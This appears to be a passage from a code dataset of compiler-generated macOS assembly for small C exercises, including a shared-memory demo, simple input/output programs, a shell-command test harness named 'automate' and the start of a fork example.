.asciz "shmat"
l_.str.5: ; @.str.5
.asciz "writing to segment: \"%s\"\n"
l_.str.6: ; @.str.6
.asciz "segment contains: \"%s %d\"\n"
l_.str.7: ; @.str.7
.asciz "shmdt"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpl $2, -8(%rbp)
jle LBB0_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_2:
leaq L_.str.1(%rip), %rdi
movl $82, %esi
callq _ftok
movl %eax, -20(%rbp)
cmpl $-1, %eax
jne LBB0_4
## %bb.3:
leaq L_.str.2(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_4:
movl -20(%rbp), %edi
movl $1024, %esi ## imm = 0x400
movl $932, %edx ## imm = 0x3A4
callq _shmget
movl %eax, -24(%rbp)
cmpl $-1, %eax
jne LBB0_6
## %bb.5:
leaq L_.str.3(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_6:
movl -24(%rbp), %edi
xorl %eax, %eax
movl %eax, %esi
xorl %edx, %edx
callq _shmat
movq %rax, -32(%rbp)
movq $-1, %rax
cmpq %rax, -32(%rbp)
jne LBB0_8
## %bb.7:
leaq L_.str.4(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_8:
cmpl $3, -8(%rbp)
jne LBB0_10
## %bb.9:
movq -16(%rbp), %rax
movq 8(%rax), %rsi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rax
movq 16(%rax), %rdi
callq _atoi
movl %eax, %ecx
movq -32(%rbp), %rax
movl %ecx, 12(%rax)
movq -32(%rbp), %rdi
movq -16(%rbp), %rax
movq 8(%rax), %rsi
movl $10, %ecx
movq %rcx, %rdx
callq ___strncpy_chk
jmp LBB0_11
LBB0_10:
movq -32(%rbp), %rsi
movq -32(%rbp), %rax
movl 12(%rax), %edx
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
LBB0_11:
movq -32(%rbp), %rdi
callq _shmdt
cmpl $-1, %eax
jne LBB0_13
## %bb.12:
leaq L_.str.7(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_13:
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "usage: shmdemo [data_to_write]\n"
L_.str.1: ## @.str.1
.asciz "shmdemo.c"
L_.str.2: ## @.str.2
.asciz "ftok"
L_.str.3: ## @.str.3
.asciz "shmget"
L_.str.4: ## @.str.4
.asciz "shmat"
L_.str.5: ## @.str.5
.asciz "writing to segment: \"%s\"\n"
L_.str.6: ## @.str.6
.asciz "segment contains: \"%s %d\"\n"
L_.str.7: ## @.str.7
.asciz "shmdt"
.subsections_via_symbols
| the_stack_data/28760.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-20] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
str x0, [sp, #16] ; 8-byte Folded Spill
bl _scanf
ldr x0, [sp, #16] ; 8-byte Folded Reload
mov x9, sp
sub x8, x29, #12
str x8, [x9]
bl _scanf
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
add w8, w8, w9
stur w8, [x29, #-16]
ldur w9, [x29, #-16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur w0, [x29, #-20] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "X = %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str(%rip), %rdi
leaq -12(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %eax
addl -12(%rbp), %eax
movl %eax, -16(%rbp)
movl -16(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "X = %d\n"
.subsections_via_symbols
| the_stack_data/90764914.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
mov x9, sp
sub x8, x29, #6
str x8, [x9]
sub x8, x29, #8
str x8, [x9, #8]
sub x8, x29, #10
str x8, [x9, #16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldursh w8, [x29, #-6]
ldursh w9, [x29, #-10]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_5
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldursh w8, [x29, #-8]
ldursh w9, [x29, #-10]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_6
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_7:
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d%d%d"
l_.str.1: ; @.str.1
.asciz "Props win!\n"
l_.str.2: ; @.str.2
.asciz "Hunters win!\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
leaq L_.str(%rip), %rdi
leaq -6(%rbp), %rsi
leaq -8(%rbp), %rdx
leaq -10(%rbp), %rcx
movb $0, %al
callq _scanf
cmpl $-1, %eax
je LBB0_7
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movswl -6(%rbp), %eax
movswl -10(%rbp), %ecx
cmpl %ecx, %eax
jge LBB0_5
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movswl -8(%rbp), %eax
movswl -10(%rbp), %ecx
cmpl %ecx, %eax
jge LBB0_5
## %bb.4: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_6
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_7:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d%d%d"
L_.str.1: ## @.str.1
.asciz "Props win!\n"
L_.str.2: ## @.str.2
.asciz "Hunters win!\n"
.subsections_via_symbols
| the_stack_data/107954208.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #20]
add x0, sp, #24
str x0, [sp, #8] ; 8-byte Folded Spill
adrp x1, l___const.main.twod@PAGE
add x1, x1, l___const.main.twod@PAGEOFF
mov x2, #48
bl _memcpy
ldr x8, [sp, #8] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
mov w0, #0
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.section __TEXT,__const
.p2align 2 ; @__const.main.twod
l___const.main.twod:
.long 2 ; 0x2
.long 4 ; 0x4
.long 6 ; 0x6
.long 8 ; 0x8
.long 10 ; 0xa
.long 12 ; 0xc
.long 14 ; 0xe
.long 16 ; 0x10
.long 18 ; 0x12
.long 20 ; 0x14
.long 22 ; 0x16
.long 24 ; 0x18
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%p\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -68(%rbp)
leaq -64(%rbp), %rdi
leaq l___const.main.twod(%rip), %rsi
movl $48, %edx
callq _memcpy
leaq -64(%rbp), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_2
## %bb.1:
xorl %eax, %eax
addq $80, %rsp
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__const
.p2align 4 ## @__const.main.twod
l___const.main.twod:
.long 2 ## 0x2
.long 4 ## 0x4
.long 6 ## 0x6
.long 8 ## 0x8
.long 10 ## 0xa
.long 12 ## 0xc
.long 14 ## 0xe
.long 16 ## 0x10
.long 18 ## 0x12
.long 20 ## 0x14
.long 22 ## 0x16
.long 24 ## 0x18
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%p\n"
.subsections_via_symbols
| the_stack_data/165766592.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _removeTrailingNewLine ; -- Begin function removeTrailingNewLine
.p2align 2
_removeTrailingNewLine: ; @removeTrailingNewLine
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
str wzr, [sp, #4]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldrsw x9, [sp, #4]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #8]
ldrsw x9, [sp, #4]
ldrsb w8, [x8, x9]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr x8, [sp, #8]
ldrsw x9, [sp, #4]
add x8, x8, x9
strb wzr, [x8]
b LBB0_6
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB0_1
LBB0_6:
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _hasTrailingSlash ; -- Begin function hasTrailingSlash
.p2align 2
_hasTrailingSlash: ; @hasTrailingSlash
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
str x8, [sp] ; 8-byte Folded Spill
ldr x0, [sp, #8]
bl _strlen
ldr x8, [sp] ; 8-byte Folded Reload
subs x9, x0, #1
ldrsb w8, [x8, x9]
subs w8, w8, #47
cset w8, eq
and w0, w8, #0x1
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _runTest ; -- Begin function runTest
.p2align 2
_runTest: ; @runTest
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
mov x0, #1024
mov x1, #1
bl _calloc
stur x0, [x29, #-24]
ldur x8, [x29, #-24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB2_2:
ldur x0, [x29, #-24]
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x2, [x8]
mov w1, #1024
bl _fgets
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
b LBB2_14
LBB2_4:
ldur x0, [x29, #-24]
bl _removeTrailingNewLine
mov x0, #1024
mov x1, #1
bl _calloc
str x0, [sp, #32]
ldr x8, [sp, #32]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB2_6:
ldr x0, [sp, #32]
mov w1, #0
mov x2, #-1
adrp x3, l_.str.1@PAGE
add x3, x3, l_.str.1@PAGEOFF
bl ___sprintf_chk
ldr x8, [sp, #32]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur x0, [x29, #-16]
bl _hasTrailingSlash
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB2_8
b LBB2_7
LBB2_7:
ldr x0, [sp, #32]
ldur x10, [x29, #-16]
ldur x8, [x29, #-24]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
mov w1, #0
mov x2, #-1
adrp x3, l_.str.3@PAGE
add x3, x3, l_.str.3@PAGEOFF
bl ___sprintf_chk
b LBB2_9
LBB2_8:
ldr x0, [sp, #32]
ldur x10, [x29, #-16]
ldur x8, [x29, #-24]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
mov w1, #0
mov x2, #-1
adrp x3, l_.str.4@PAGE
add x3, x3, l_.str.4@PAGEOFF
bl ___sprintf_chk
b LBB2_9
LBB2_9:
ldr x8, [sp, #32]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x0, [sp, #32]
bl _system
str w0, [sp, #28]
ldr w8, [sp, #28]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB2_11
b LBB2_10
LBB2_10:
ldr x0, [sp, #32]
ldur x8, [x29, #-24]
mov x9, sp
str x8, [x9]
mov w1, #0
mov x2, #-1
adrp x3, l_.str.5@PAGE
add x3, x3, l_.str.5@PAGEOFF
bl ___sprintf_chk
ldr x8, [sp, #32]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x0, [sp, #32]
bl _system
b LBB2_12
LBB2_11:
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
b LBB2_12
LBB2_12:
b LBB2_13
LBB2_13:
ldr x0, [sp, #32]
mov w1, #0
mov x2, #-1
adrp x3, l_.str.1@PAGE
add x3, x3, l_.str.1@PAGEOFF
bl ___sprintf_chk
ldr x8, [sp, #32]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x0, [sp, #32]
bl _system
ldur x0, [x29, #-24]
bl _free
ldr x0, [sp, #32]
bl _free
stur wzr, [x29, #-4]
b LBB2_15
LBB2_14:
ldr x0, [sp, #32]
mov w1, #0
mov x2, #-1
adrp x3, l_.str.1@PAGE
add x3, x3, l_.str.1@PAGEOFF
bl ___sprintf_chk
ldr x8, [sp, #32]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x0, [sp, #32]
bl _system
ldur x0, [x29, #-24]
bl _free
ldr x0, [sp, #32]
bl _free
mov w8, #1
stur w8, [x29, #-4]
b LBB2_15
LBB2_15:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
str w0, [sp, #8]
str x1, [sp]
ldr w8, [sp, #8]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB3_5
b LBB3_1
LBB3_1:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _system
b LBB3_2
LBB3_2: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
ldr x0, [x8, #8]
bl _runTest
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_4
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_2 Depth=1
b LBB3_2
LBB3_4:
b LBB3_6
LBB3_5:
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB3_6
LBB3_6:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "malloc"
l_.str.1: ; @.str.1
.asciz "rm -rf gvki-0"
l_.str.2: ; @.str.2
.asciz "Running command %s\n"
l_.str.3: ; @.str.3
.asciz "%s%s"
l_.str.4: ; @.str.4
.asciz "%s/%s"
l_.str.5: ; @.str.5
.asciz "mv gvki-0 gvki-%s"
l_.str.6: ; @.str.6
.asciz "Program error\n"
l_.str.7: ; @.str.7
.asciz "Usage: ./automate <binary path>\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _removeTrailingNewLine ## -- Begin function removeTrailingNewLine
.p2align 4, 0x90
_removeTrailingNewLine: ## @removeTrailingNewLine
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl $0, -12(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
je LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $10, %eax
jne LBB0_4
## %bb.3:
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
movb $0, (%rax,%rcx)
jmp LBB0_6
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_5
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_1
LBB0_6:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _hasTrailingSlash ## -- Begin function hasTrailingSlash
.p2align 4, 0x90
_hasTrailingSlash: ## @hasTrailingSlash
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq %rax, -16(%rbp) ## 8-byte Spill
movq -8(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -16(%rbp), %rax ## 8-byte Reload
subq $1, %rcx
movsbl (%rax,%rcx), %eax
cmpl $47, %eax
sete %al
andb $1, %al
movzbl %al, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _runTest ## -- Begin function runTest
.p2align 4, 0x90
_runTest: ## @runTest
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -16(%rbp)
movl $1024, %edi ## imm = 0x400
movl $1, %esi
callq _calloc
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
jne LBB2_2
## %bb.1:
leaq L_.str(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB2_2:
movq -24(%rbp), %rdi
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdx
movl $1024, %esi ## imm = 0x400
callq _fgets
cmpq $0, %rax
jne LBB2_4
## %bb.3:
jmp LBB2_14
LBB2_4:
movq -24(%rbp), %rdi
callq _removeTrailingNewLine
movl $1024, %edi ## imm = 0x400
movl $1, %esi
callq _calloc
movq %rax, -32(%rbp)
cmpq $0, -32(%rbp)
jne LBB2_6
## %bb.5:
leaq L_.str(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB2_6:
movq -32(%rbp), %rdi
xorl %esi, %esi
movq $-1, %rdx
leaq L_.str.1(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
movq -32(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rdi
callq _hasTrailingSlash
cmpl $0, %eax
je LBB2_8
## %bb.7:
movq -32(%rbp), %rdi
movq -16(%rbp), %r8
movq -24(%rbp), %r9
xorl %esi, %esi
movq $-1, %rdx
leaq L_.str.3(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
jmp LBB2_9
LBB2_8:
movq -32(%rbp), %rdi
movq -16(%rbp), %r8
movq -24(%rbp), %r9
xorl %esi, %esi
movq $-1, %rdx
leaq L_.str.4(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
LBB2_9:
movq -32(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -32(%rbp), %rdi
callq _system
movl %eax, -36(%rbp)
cmpl $0, -36(%rbp)
jne LBB2_11
## %bb.10:
movq -32(%rbp), %rdi
movq -24(%rbp), %r8
xorl %esi, %esi
movq $-1, %rdx
leaq L_.str.5(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
movq -32(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -32(%rbp), %rdi
callq _system
jmp LBB2_12
LBB2_11:
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
LBB2_12:
jmp LBB2_13
LBB2_13:
movq -32(%rbp), %rdi
xorl %esi, %esi
movq $-1, %rdx
leaq L_.str.1(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
movq -32(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -32(%rbp), %rdi
callq _system
movq -24(%rbp), %rdi
callq _free
movq -32(%rbp), %rdi
callq _free
movl $0, -4(%rbp)
jmp LBB2_15
LBB2_14:
movq -32(%rbp), %rdi
xorl %esi, %esi
movq $-1, %rdx
leaq L_.str.1(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
movq -32(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -32(%rbp), %rdi
callq _system
movq -24(%rbp), %rdi
callq _free
movq -32(%rbp), %rdi
callq _free
movl $1, -4(%rbp)
LBB2_15:
movl -4(%rbp), %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpl $2, -8(%rbp)
jne LBB3_5
## %bb.1:
leaq L_.str.1(%rip), %rdi
callq _system
LBB3_2: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _runTest
cmpl $0, %eax
jne LBB3_4
## %bb.3: ## in Loop: Header=BB3_2 Depth=1
jmp LBB3_2
LBB3_4:
jmp LBB3_6
LBB3_5:
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
LBB3_6:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "malloc"
L_.str.1: ## @.str.1
.asciz "rm -rf gvki-0"
L_.str.2: ## @.str.2
.asciz "Running command %s\n"
L_.str.3: ## @.str.3
.asciz "%s%s"
L_.str.4: ## @.str.4
.asciz "%s/%s"
L_.str.5: ## @.str.5
.asciz "mv gvki-0 gvki-%s"
L_.str.6: ## @.str.6
.asciz "Program error\n"
L_.str.7: ## @.str.7
.asciz "Usage: ./automate <binary path>\n"
.subsections_via_symbols
| the_stack_data/42071.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
bl _fork
stur w0, [x29, #-8]
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_2:
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x8, l_.str.1@PAGE
add x8, x8, l_.str.1@PAGEOFF
str x8, [sp, #16]
mov w8, #6
str w8, [sp, #12]
b LBB0_5
LBB0_4:
adrp x8, l_.str.2@PAGE
add x8, x8, l_.str.2@PAGEOFF
str x8, [sp, #16]
mov w8, #3
str w8, [sp, #12]
b LBB0_5
LBB0_5:
b LBB0_6
LBB0_6: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB0_9
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_6 Depth=1
ldr x0, [sp, #16]
bl _printf
